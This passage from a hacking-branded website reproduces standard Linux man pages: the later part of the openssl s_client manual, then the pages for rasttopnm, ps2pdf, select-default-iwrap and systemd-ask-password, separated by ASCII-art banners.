This disables server name checks when authenticating via DANE-EE (3) TLSA records. For some applications, primarily web browsers, it is not safe to disable name checks due to “unknown key share” attacks, in which a malicious server can convince a client that a connection to a victim server is instead a secure connection to the malicious server. The malicious server may then be able to violate cross-origin scripting restrictions. Thus, despite the text of RFC7671, name checks are by default enabled for DANE-EE (3) TLSA records, and can be disabled in applications where it is safe to do so. In particular, SMTP and XMPP clients should set this option as SRV and MX records already make it possible for a remote domain to redirect client connections to any server of its choice, and in any case SMTP and XMPP clients do not execute scripts downloaded from remote servers.

-reconnect
Reconnects to the same server 5 times using the same session ID, this can be used as a test that session caching is working.

-showcerts
Displays the server certificate list as sent by the server: it only consists of certificates the server has sent (in the order the server has sent them). It is not a verified chain.

-prexit
Print session information when the program exits. This will always attempt to print out information even if the connection fails. Normally information will only be printed out once if the connection succeeds. This option is useful because the cipher in use may be renegotiated or the connection may fail because a client certificate is required or is requested only after an attempt is made to access a certain URL. Note: the output produced by this option is not always accurate because a connection might never have been established.

-no-interactive
This flag can be used to run the client in a non-interactive mode.

-state
Prints out the SSL session states.

-debug
Print extensive debugging information including a hex dump of all traffic.

-nocommands
Do not use interactive command letters.

-adv
Use advanced command mode.

-security_debug
Enable security debug messages.

-security_debug_verbose
Output more security debug output.

-msg
Show protocol messages.

-timeout
Enable send/receive timeout on DTLS connections.

-mtu size
Set MTU of the link layer to the specified size.

-no_etm
Disable Encrypt-then-MAC negotiation.

-no_ems
Disable Extended master secret negotiation.

-keymatexport label
Export keying material using the specified label.

-keymatexportlen len
Export the specified number of bytes of keying material; default is 20. Show all protocol messages with hex dump.

-trace
Show verbose trace output of protocol messages.

-msgfile filename
File to send output of -msg or -trace to, default standard output.

-nbio_test
Tests nonblocking I/O

-nbio
Turns on nonblocking I/O

-crlf
This option translated a line feed from the terminal into CR+LF as required by some servers.

-ign_eof
Inhibit shutting down the connection when end of file is reached in the input.

-quiet
Inhibit printing of session and certificate information. This implicitly turns on -ign_eof as well.

-no_ign_eof
Shut down the connection when end of file is reached in the input. Can be used to override the implicit -ign_eof after -quiet.

-psk_identity identity
Use the PSK identity identity when using a PSK cipher suite. The default value is “Client_identity” (without the quotes).

-psk key
Use the PSK key key when using a PSK cipher suite. The key is given as a hexadecimal number without leading 0x, for example -psk 1a2b3c4d. This option must be provided in order to use a PSK cipher.

-psk_session file
Use the pem encoded SSL_SESSION data stored in file as the basis of a PSK. Note that this will only work if TLSv1.3 is negotiated.

-sctp
Use SCTP for the transport protocol instead of UDP in DTLS. Must be used in conjunction with -dtls, -dtls1 or -dtls1_2. This option is only available where OpenSSL has support for SCTP enabled.

-sctp_label_bug
Use the incorrect behaviour of older OpenSSL implementations when computing endpoint-pair shared secrets for DTLS/SCTP. This allows communication with older broken implementations but breaks interoperability with correct implementations. Must be used in conjunction with -sctp. This option is only available where OpenSSL has support for SCTP enabled.

-fallback_scsv
Send TLS_FALLBACK_SCSV in the ClientHello.

-async
Switch on asynchronous mode. Cryptographic operations will be performed asynchronously. This will only have an effect if an asynchronous capable engine is also used via the -engine option. For test purposes the dummy async engine (dasync) can be used (if available).

-maxfraglen len
Enable Maximum Fragment Length Negotiation; allowed values are 512, 1024, 2048, and 4096.

-max_send_frag int
The maximum size of data fragment to send. See SSL_CTX_set_max_send_fragment (3) for further information.

-split_send_frag int
The size used to split data for encrypt pipelines. If more data is written in one go than this value then it will be split into multiple pipelines, up to the maximum number of pipelines defined by max_pipelines. This only has an effect if a suitable cipher suite has been negotiated, an engine that supports pipelining has been loaded, and max_pipelines is greater than 1. See SSL_CTX_set_split_send_fragment (3) for further information.

-max_pipelines int
The maximum number of encrypt/decrypt pipelines to be used. This will only have an effect if an engine has been loaded that supports pipelining (e.g. the dasync engine) and a suitable cipher suite has been negotiated. The default value is 1. See SSL_CTX_set_max_pipelines (3) for further information.

-read_buf int
The default read buffer size to be used for connections. This will only have an effect if the buffer size is larger than the size that would otherwise be used and pipelining is in use (see SSL_CTX_set_default_read_buffer_len (3) for further information).

-ignore_unexpected_eof
Some TLS implementations do not send the mandatory close_notify alert on shutdown. If the application tries to wait for the close_notify alert but the peer closes the connection without sending it, an error is generated. When this option is enabled the peer does not need to send the close_notify alert and a closed connection will be treated as if the close_notify alert was received. For more information on shutting down a connection, see SSL_shutdown (3).

-bugs
There are several known bugs in SSL and TLS implementations. Adding this option enables various workarounds.

-no_tx_cert_comp
Disables support for sending TLSv1.3 compressed certificates.

-no_rx_cert_comp
Disables support for receiving TLSv1.3 compressed certificate.

-comp
Enables support for SSL/TLS compression. This option was introduced in OpenSSL 1.1.0. TLS compression is not recommended and is off by default as of OpenSSL 1.1.0. TLS compression can only be used in security level 1 or lower. From OpenSSL 3.2.0 and above the default security level is 2, so this option will have no effect without also changing the security level. Use the -cipher option to change the security level. See openssl-ciphers (1) for more information.

-no_comp
Disables support for SSL/TLS compression. TLS compression is not recommended and is off by default as of OpenSSL 1.1.0.

-brief
Only provide a brief summary of connection parameters instead of the normal verbose output.

-sigalgs sigalglist
Specifies the list of signature algorithms that are sent by the client. The server selects one entry in the list based on its preferences. For example strings, see SSL_CTX_set1_sigalgs (3)

-curves curvelist
Specifies the list of supported curves to be sent by the client. The curve is ultimately selected by the server. For a list of all curves, use: $ openssl ecparam -list_curves

-cipher cipherlist
This allows the TLSv1.2 and below cipher list sent by the client to be modified. This list will be combined with any TLSv1.3 ciphersuites that have been configured. Although the server determines which ciphersuite is used it should take the first supported cipher in the list sent by the client. See openssl-ciphers (1) for more information.

-ciphersuites val
This allows the TLSv1.3 ciphersuites sent by the client to be modified. This list will be combined with any TLSv1.2 and below ciphersuites that have been configured. Although the server determines which cipher suite is used it should take the first supported cipher in the list sent by the client. See openssl-ciphers (1) for more information. The format for this list is a simple colon (":") separated list of TLSv1.3 ciphersuite names.

-starttls protocol
Send the protocol-specific message(s) to switch to TLS for communication. protocol is a keyword for the intended protocol. Currently, the only supported keywords are “smtp”, “pop3”, “imap”, “ftp”, “xmpp”, “xmpp-server”, “irc”, “postgres”, “mysql”, “lmtp”, “nntp”, “sieve” and “ldap”.

-xmpphost hostname
This option, when used with “-starttls xmpp” or “-starttls xmpp-server”, specifies the host for the “to” attribute of the stream element. If this option is not specified, then the host specified with “-connect” will be used. This option is an alias of the -name option for “xmpp” and “xmpp-server”.

-name hostname
This option is used to specify hostname information for various protocols used with -starttls option. Currently only “xmpp”, “xmpp-server”, “smtp” and “lmtp” can utilize this -name option. If this option is used with “-starttls xmpp” or “-starttls xmpp-server”, if specifies the host for the “to” attribute of the stream element. If this option is not specified, then the host specified with “-connect” will be used. If this option is used with “-starttls lmtp” or “-starttls smtp”, it specifies the name to use in the “LMTP LHLO” or “SMTP EHLO” message, respectively. If this option is not specified, then “mail.example.com” will be used.

-tlsextdebug
Print out a hex dump of any TLS extensions received from the server.

-no_ticket
Disable RFC4507bis session ticket support.

-sess_out filename
Output SSL session to filename.

-sess_in filename
Load SSL session from filename. The client will attempt to resume a connection from this session.

-serverinfo types
A list of comma-separated TLS Extension Types (numbers between 0 and 65535). Each type will be sent as an empty ClientHello TLS Extension. The server’s response (if any) will be encoded and displayed as a PEM file.

-status
Sends a certificate status request to the server (OCSP stapling). The server response (if any) is printed out.

-alpn protocols, -nextprotoneg protocols
These flags enable the Enable the Application-Layer Protocol Negotiation or Next Protocol Negotiation (NPN) extension, respectively. ALPN is the IETF standard and replaces NPN. The protocols list is a comma-separated list of protocol names that the client should advertise support for. The list should contain the most desirable protocols first. Protocol names are printable ASCII strings, for example “http/1.1” or “spdy/3”. An empty list of protocols is treated specially and will cause the client to advertise support for the TLS extension but disconnect just after receiving ServerHello with a list of server supported protocols. The flag -nextprotoneg cannot be specified if -tls1_3 is used.

-ct, -noct
Use one of these two options to control whether Certificate Transparency (CT) is enabled (-ct) or disabled (-noct). If CT is enabled, signed certificate timestamps (SCTs) will be requested from the server and reported at handshake completion. Enabling CT also enables OCSP stapling, as this is one possible delivery method for SCTs.

-ctlogfile
A file containing a list of known Certificate Transparency logs. See SSL_CTX_set_ctlog_list_file (3) for the expected file format.

-keylogfile file
Appends TLS secrets to the specified keylog file such that external programs (like Wireshark) can decrypt TLS connections.

-early_data file
Reads the contents of the specified file and attempts to send it as early data to the server. This will only work with resumed sessions that support early data and when the server accepts the early data.

-enable_pha
For TLSv1.3 only, send the Post-Handshake Authentication extension. This will happen whether or not a certificate has been provided via -cert.

-use_srtp value
Offer SRTP key management, where value is a colon-separated profile list.

-srpuser value
Set the SRP username to the specified value. This option is deprecated.

-srppass value
Set the SRP password to the specified value. This option is deprecated.

-srp_lateuser
SRP username for the second ClientHello message. This option is deprecated.

-srp_moregroups This option is deprecated.
Tolerate other than the known g and N values.

-srp_strength number
Set the minimal acceptable length, in bits, for N. This option is deprecated.

-ktls
Enable Kernel TLS for sending and receiving. This option was introduced in OpenSSL 3.2.0. Kernel TLS is off by default as of OpenSSL 3.2.0.

-tfo
Enable creation of connections via TCP fast open (RFC7413).

-no_ssl3, -no_tls1, -no_tls1_1, -no_tls1_2, -no_tls1_3, -ssl3, -tls1, -tls1_1, -tls1_2, -tls1_3
See “TLS Version Options” in openssl (1).

-dtls, -dtls1, -dtls1_2
These specify the use of DTLS instead of TLS. See “TLS Version Options” in openssl (1).

-nameopt option
This specifies how the subject or issuer names are displayed. See openssl-namedisplay-options (1) for details.

-xkey infile, -xcert file, -xchain file, -xchain_build file, -xcertform DER|PEM, -xkeyform DER|PEM
Set extended certificate verification options. See “Extended Verification Options” in openssl-verification-options (1) for details.

-CAfile file, -no-CAfile, -CApath dir, -no-CApath, -CAstore uri, -no-CAstore
See “Trusted Certificate Options” in openssl-verification-options (1) for details.

-bugs, -comp, -no_comp, -no_ticket, -serverpref, -client_renegotiation, -legacy_renegotiation, -no_renegotiation, -no_resumption_on_reneg, -legacy_server_connect, -no_legacy_server_connect, -no_etm -allow_no_dhe_kex, -prioritize_chacha, -strict, -sigalgs algs, -client_sigalgs algs, -groups groups, -curves curves, -named_curve curve, -cipher ciphers, -ciphersuites 1.3ciphers, -min_protocol minprot, -max_protocol maxprot, -record_padding padding, -debug_broken_protocol, -no_middlebox
See “SUPPORTED COMMAND LINE COMMANDS” in SSL_CONF_cmd (3) for details.

-rand files, -writerand file
See “Random State Options” in openssl (1) for details.

-provider name

-provider-path path

-propquery propq

See “Provider Options” in openssl (1), provider (7), and property (7).

-engine id
See “Engine Options” in openssl (1). This option is deprecated.

-ssl_client_engine id
Specify engine to be used for client certificate operations.

-allow_proxy_certs, -attime, -no_check_time, -check_ss_sig, -crl_check, -crl_check_all, -explicit_policy, -extended_crl, -ignore_critical, -inhibit_any, -inhibit_map, -no_alt_chains, -partial_chain, -policy, -policy_check, -policy_print, -purpose, -suiteB_128, -suiteB_128_only, -suiteB_192, -trusted_first, -use_deltas, -auth_level, -verify_depth, -verify_email, -verify_hostname, -verify_ip, -verify_name, -x509_strict -issuer_checks
Set various options of certificate chain verification. See “Verification Options” in openssl-verification-options (1) for details. Verification errors are displayed, for debugging, but the command will proceed unless the -verify_return_error option is used.

-enable_server_rpk
Enable support for receiving raw public keys (RFC7250) from the server. Use of X.509 certificates by the server becomes optional, and servers that support raw public keys may elect to use them. Servers that don’t support raw public keys or prefer to use X.509 certificates can still elect to send X.509 certificates as usual.

-enable_client_rpk
Enable support for sending raw public keys (RFC7250) to the server. A raw public key will be sent by the client, if solicited by the server, provided a suitable key and public certificate pair is configured. Some servers may nevertheless not request any client credentials, or may request a certificate.

host:port
Rather than providing -connect, the target hostname and optional port may be provided as a single positional argument after all options. If neither this nor -connect are provided, falls back to attempting to connect to localhost on port 4433.

CONNECTED COMMANDS (BASIC)

If a connection is established with an SSL/TLS server then any data received from the server is displayed and any key presses will be sent to the server. If end of file is reached then the connection will be closed down.

When used interactively (which means neither -quiet nor -ign_eof have been given), and neither of -adv or -nocommands are given then “Basic” command mode is entered. In this mode certain commands are recognized which perform special operations. These commands are a letter which must appear at the start of a line. All further data after the initial letter on the line is ignored. The commands are listed below.

  1. End the current SSL connection and exit.

  2. Renegotiate the SSL session (TLSv1.2 and below only).

  3. Attempt to reconnect to the server using a resumption handshake.

  1. Send a key update message to the server (TLSv1.3 only)
  1. Send a key update message to the server and request one back (TLSv1.3 only)

CONNECTED COMMANDS (ADVANCED)

If -adv has been given then “advanced” command mode is entered. As with basic mode, if a connection is established with an SSL/TLS server then any data received from the server is displayed and any key presses will be sent to the server. If end of file is reached then the connection will be closed down.

Special commands can be supplied by enclosing them in braces, e.g. “{help}” or “{quit}”. These commands can appear anywhere in the text entered into s_client, but they are not sent to the server. Some commands can take an argument by ending the command name with “:” and then providing the argument, e.g. “{keyup:req}”. Some commands are only available when certain protocol versions have been negotiated.

If a newline appears at the end of a line entered into s_client then this is also sent to the server. If a command appears on a line on its own with no other text on the same line, then the newline is suppressed and not sent to the server.

The following commands are recognised.

help
Prints out summary help text about the available commands.

quit
Close the connection to the peer

reconnect
Reconnect to the peer and attempt a resumption handshake

keyup
Send a Key Update message. TLSv1.3 only. This command takes an optional argument. If the argument “req” is supplied then the peer is also requested to update its keys. Otherwise if “noreq” is supplied the the peer is not requested to update its keys. The default is “req”.

reneg
Initiate a renegotiation with the server. (D)TLSv1.2 or below only.

fin
Indicate FIN on the current stream. QUIC only. Once FIN has been sent any further text entered for this stream is ignored.

NOTES

This command can be used to debug SSL servers. To connect to an SSL HTTP server the command:

openssl s_client -connect servername:443

would typically be used (https uses port 443). If the connection succeeds then an HTTP command can be given such as “GET /” to retrieve a web page.

If the handshake fails then there are several possible causes, if it is nothing obvious like no client certificate then the -bugs, -ssl3, -tls1, -no_ssl3, -no_tls1 options can be tried in case it is a buggy server. In particular you should play with these options before submitting a bug report to an OpenSSL mailing list.

A frequent problem when attempting to get client certificates working is that a web client complains it has no certificates or gives an empty list to choose from. This is normally because the server is not sending the clients certificate authority in its “acceptable CA list” when it requests a certificate. By using this command, the CA list can be viewed and checked. However, some servers only request client authentication after a specific URL is requested. To obtain the list in this case it is necessary to use the -prexit option and send an HTTP request for an appropriate page.

If a certificate is specified on the command line using the -cert option it will not be used unless the server specifically requests a client certificate. Therefore, merely including a client certificate on the command line is no guarantee that the certificate works.

If there are problems verifying a server certificate then the -showcerts option can be used to show all the certificates sent by the server.

This command is a test tool and is designed to continue the handshake after any certificate verification errors. As a result it will accept any certificate chain (trusted or not) sent by the peer. Non-test applications should not do this as it makes them vulnerable to a MITM attack. This behaviour can be changed by with the -verify_return_error option: any verify errors are then returned aborting the handshake.

The -bind option may be useful if the server or a firewall requires connections to come from some particular address and or port.

BUGS

Because this program has a lot of options and also because some of the techniques used are rather old, the C source for this command is rather hard to read and not a model of how things should be done. A typical SSL client program would be much simpler.

The -prexit option is a bit of a hack. We should really report information whenever a session is renegotiated.

SEE ALSO

openssl (1), openssl-sess_id (1), openssl-s_server (1), openssl-ciphers (1), SSL_CONF_cmd (3), SSL_CTX_set_max_send_fragment (3), SSL_CTX_set_split_send_fragment (3), SSL_CTX_set_max_pipelines (3), ossl_store-file (7)

HISTORY

The -no_alt_chains option was added in OpenSSL 1.1.0. The -name option was added in OpenSSL 1.1.1.

The -certform option has become obsolete in OpenSSL 3.0.0 and has no effect.

The -engine option was deprecated in OpenSSL 3.0.

The -enable_client_rpk, -enable_server_rpk, -no_rx_cert_comp, -no_tx_cert_comp, and -tfo options were added in OpenSSL 3.2.

COPYRIGHT

Copyright 2000-2023 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1867 - Linux cli command rasttopnm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command rasttopnm and provides detailed information about the command rasttopnm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the rasttopnm.

.

NAME 🖥️ rasttopnm 🖥️

convert a Sun rasterfile to a PNM image

SYNOPSIS

rasttopnm

[-index]

[rastfile]

DESCRIPTION

This program is part of Netpbm(1) .

rasttopnm reads a Sun rasterfile as input and produces a PNM image as output. The type of the output file depends on the input file - if it’s black and white, rasttopnm writes a PBM image. If it’s grayscale, rasttopnm writes a PGM. If it’s color, rasttopnm writes a PPM. The program tells you which type it is generating.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), rasttopnm recognizes the following command line option:

-index
This odd option tells rasttopnm to use the color map indices in the raster as if they are the color values.

In a colormapped Sun rasterfile, the header of the file contains a color map, associating each unique color that occurs in the file with an index number. The raster portion of the file then represents the color of a pixel with one of those colormap indices.

This option has found use as follows: take a regular grayscale Sun rasterfile in which all the grayscale value are represented, so the colormap indices are identical to the color values. Modify its color map so as to alter the colors in the image, in particular to equalize the colors. With that modified rasterfile as input, rasttopnm without -index produces the modified image. But with -index, it produces the original unmodified image.

This option was new in Netpbm 10.56 (September 2011).

SEE ALSO

pnmtorast(1) , pnm(1)

AUTHOR

Copyright (C) 1989, 1991 by Jef Poskanzer.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/rasttopnm.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1868 - Linux cli command ps2pdf

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ps2pdf and provides detailed information about the command ps2pdf, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ps2pdf.

NAME 🖥️ ps2pdf 🖥️

Convert PostScript to PDF using ghostscript
ps2pdf12 - Convert PostScript to PDF 1.2 (Acrobat 3-and-later compatible) using ghostscript
ps2pdf13 - Convert PostScript to PDF 1.3 (Acrobat 4-and-later compatible) using ghostscript
ps2pdf14 - Convert PostScript to PDF 1.4 (Acrobat 5-and-later compatible) using ghostscript

SYNOPSIS

ps2pdf [options…] {input.[e]ps|-} [output.pdf|-]
ps2pdf12 [options…] {input.[e]ps|-} [output.pdf|-]
ps2pdf13 [options…] {input.[e]ps|-} [output.pdf|-]
ps2pdf14 [options…] {input.[e]ps|-} [output.pdf|-]

DESCRIPTION

The ps2pdf scripts are work-alikes for nearly all the functionality (but not the user interface) of Adobe’s Acrobat(TM) Distiller(TM) product: they convert PostScript files to Portable Document Format (PDF) files.

If the output filename is not specified, the output is placed in a file of the same name with a ‘.pdf’ extension in the current working directory. Either the input filename or the output filename can be ‘-’ to request reading from stdin or writing to stdout, respectively, when used as a filter.

The three scripts differ as follows:

  • ps2pdf12 will always produce PDF 1.2 output (Acrobat 3-and-later compatible).

  • ps2pdf13 will always produce PDF 1.3 output (Acrobat 4-and-later compatible).

  • ps2pdf14 will always produce PDF 1.4 output (Acrobat 5-and-later compatible).

  • ps2pdf per se currently produces PDF 1.4 output. However, this may change in the future. If you care about the compatibility level of the output, use ps2pdf12, ps2pdf13 or ps2pdf14, or use the -dCompatibilityLevel=1.x switch in the command line.

There are some limitations in ps2pdf’s conversion. See the HTML documentation for more information. A large number of Adobe Distiller(TM) parameters which can be used to control the conversion are also documented there, including instructions for generating PDF/X and PDF/A documents.

OPTIONS

The ps2pdf scripts use the same options as gs(1).

EXAMPLES

Converting a figure.ps to figure.pdf:

ps2pdf figure.ps

A conversion with more specifics:

ps2pdf -dPDFSETTINGS=/prepress figure.ps proof.pdf

Converting as part of a pipe:

make_report.pl -t ps | ps2pdf -dCompatibilityLevel=1.3 - - | lpr

SEE ALSO

gs(1), ps2pdfwr(1),
VectorDevices.htm in the Ghostscript documentation

BUGS

See http://bugs.ghostscript.com/ and the Usenet news group comp.lang.postscript.

VERSION

This document was last revised for Ghostscript version 10.03.1.

AUTHOR

Artifex Software, Inc. are the primary maintainers of Ghostscript. This manpage by George Ferguson.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1869 - Linux cli command select-default-iwrap

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command select-default-iwrap and provides detailed information about the command select-default-iwrap, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the select-default-iwrap.

NAME 🖥️ select-default-iwrap 🖥️

default-iwrap - Selects the user default ispell dictionary for use with ispell-wrapper

SYNOPSIS

select-default-iwrap

DESCRIPTION

Selects the user default ispell dictionary for use with ispell-wrapper, putting the selected value in ~/.ispell-default.

SEE ALSO

ispell-wrapper (1)

AUTHORS

Rafael Laboissiere

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1870 - Linux cli command systemd-ask-password

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command systemd-ask-password and provides detailed information about the command systemd-ask-password, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the systemd-ask-password.

NAME 🖥️ systemd-ask-password 🖥️

ask-password - Query the user for a system password

SYNOPSIS

systemd-ask-password [OPTIONS…] [MESSAGE]

DESCRIPTION

systemd-ask-password may be used to query a system password or passphrase from the user, using a question message specified on the command line. When run from a TTY it will query a password on the TTY and print it to standard output. When run with no TTY or with –no-tty it will use the system-wide query mechanism, which allows active users to respond via several agents, listed below.

The purpose of this tool is to query system-wide passwords — that is passwords not attached to a specific user account. Examples include: unlocking encrypted hard disks when they are plugged in or at boot, entering an SSL certificate passphrase for web and VPN servers.

Existing agents are:

·

A boot-time password agent asking the user for passwords using plymouth(8),

·

A boot-time password agent querying the user directly on the console — systemd-ask-password-console.service(8),

·

An agent requesting password input via a wall(1) message — systemd-ask-password-wall.service(8),

·

A TTY agent that is temporarily spawned during systemctl(1) invocations,

·

A command line agent which can be started temporarily to process queued password requests — systemd-tty-ask-password-agent –query.

Answering system-wide password queries is a privileged operation, hence all the agents listed above (except for the last one), run as privileged system services. The last one also needs elevated privileges, so should be run through sudo(8) or similar.

Additional password agents may be implemented according to the systemd Password Agent Specification[1].

If a password is queried on a TTY, the user may press TAB to hide the asterisks normally shown for each character typed. Pressing Backspace as first key achieves the same effect.

OPTIONS

The following options are understood:

–icon=

Specify an icon name alongside the password query, which may be used in all agents supporting graphical display. The icon name should follow the XDG Icon Naming Specification[2].

–id=

Specify an identifier for this password query. This identifier is freely choosable and allows recognition of queries by involved agents. It should include the subsystem doing the query and the specific object the query is done for. Example: “–id=cryptsetup:/dev/sda5”.

Added in version 227.

–keyname=

Configure a kernel keyring key name to use as cache for the password. If set, then the tool will try to push any collected passwords into the kernel keyring of the root user, as a key of the specified name. If combined with –accept-cached, it will also try to retrieve such cached passwords from the key in the kernel keyring instead of querying the user right away. By using this option, the kernel keyring may be used as effective cache to avoid repeatedly asking users for passwords, if there are multiple objects that may be unlocked with the same password. The cached key will have a timeout of 2.5min set, after which it will be purged from the kernel keyring. Note that it is possible to cache multiple passwords under the same keyname, in which case they will be stored as NUL-separated list of passwords. Use keyctl(1) to access the cached key via the kernel keyring directly. Example: “–keyname=cryptsetup”

Added in version 227.

–credential=

Configure a credential to read the password from – if it exists. This may be used in conjunction with the ImportCredential=, LoadCredential= and SetCredential= settings in unit files. See systemd.exec(5) for details. If not specified, defaults to “password”. This option has no effect if no credentials directory is passed to the program (i.e. $CREDENTIALS_DIRECTORY is not set) or if the no credential of the specified name exists.

Added in version 249.

–timeout=

Specify the query timeout in seconds. Defaults to 90s. A timeout of 0 waits indefinitely.

–echo=yes|no|masked

Controls whether to echo user input. Takes a boolean or the special string “masked”, the default being the latter. If enabled the typed characters are echoed literally, which is useful for prompting for usernames and other non-protected data. If disabled the typed characters are not echoed in any form, the user will not get feedback on their input. If set to “masked”, an asterisk ("*") is echoed for each character typed. In this mode, if the user hits the tabulator key ("↹"), echo is turned off. (Alternatively, if the user hits the backspace key ("⌫") while no data has been entered otherwise, echo is turned off, too).

Added in version 249.

–echo, -e

Equivalent to –echo=yes, see above.

Added in version 217.

–emoji=yes|no|auto

Controls whether or not to prefix the query with a lock and key emoji (🔐), if the TTY settings permit this. The default is “auto”, which defaults to “yes”, unless –echo=yes is given.

Added in version 249.

–no-tty

Never ask for password on current TTY even if one is available. Always use agent system.

–accept-cached

If passed, accept cached passwords, i.e. passwords previously entered.

–multiple

When used in conjunction with –accept-cached accept multiple passwords. This will output one password per line.

–no-output

Do not print passwords to standard output. This is useful if you want to store a password in kernel keyring with –keyname= but do not want it to show up on screen or in logs.

Added in version 230.

-n

By default, when the acquired password is written to standard output it is suffixed by a newline character. This may be turned off with the -n switch, similarly to the switch of the same name of the echo(1) command.

Added in version 249.

-h, –help

Print a short help text and exit.

EXIT STATUS

On success, 0 is returned, a non-zero failure code otherwise.

SEE ALSO

systemd(1), systemd-ask-password-console.service(8), systemd-tty-ask-password-agent(1), keyctl(1), plymouth(8), wall(1)

NOTES

systemd Password Agent Specification

https://systemd.io/PASSWORD_AGENTS/

XDG Icon Naming Specification

https://standards.freedesktop.org/icon-naming-spec/icon-naming-spec-latest.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
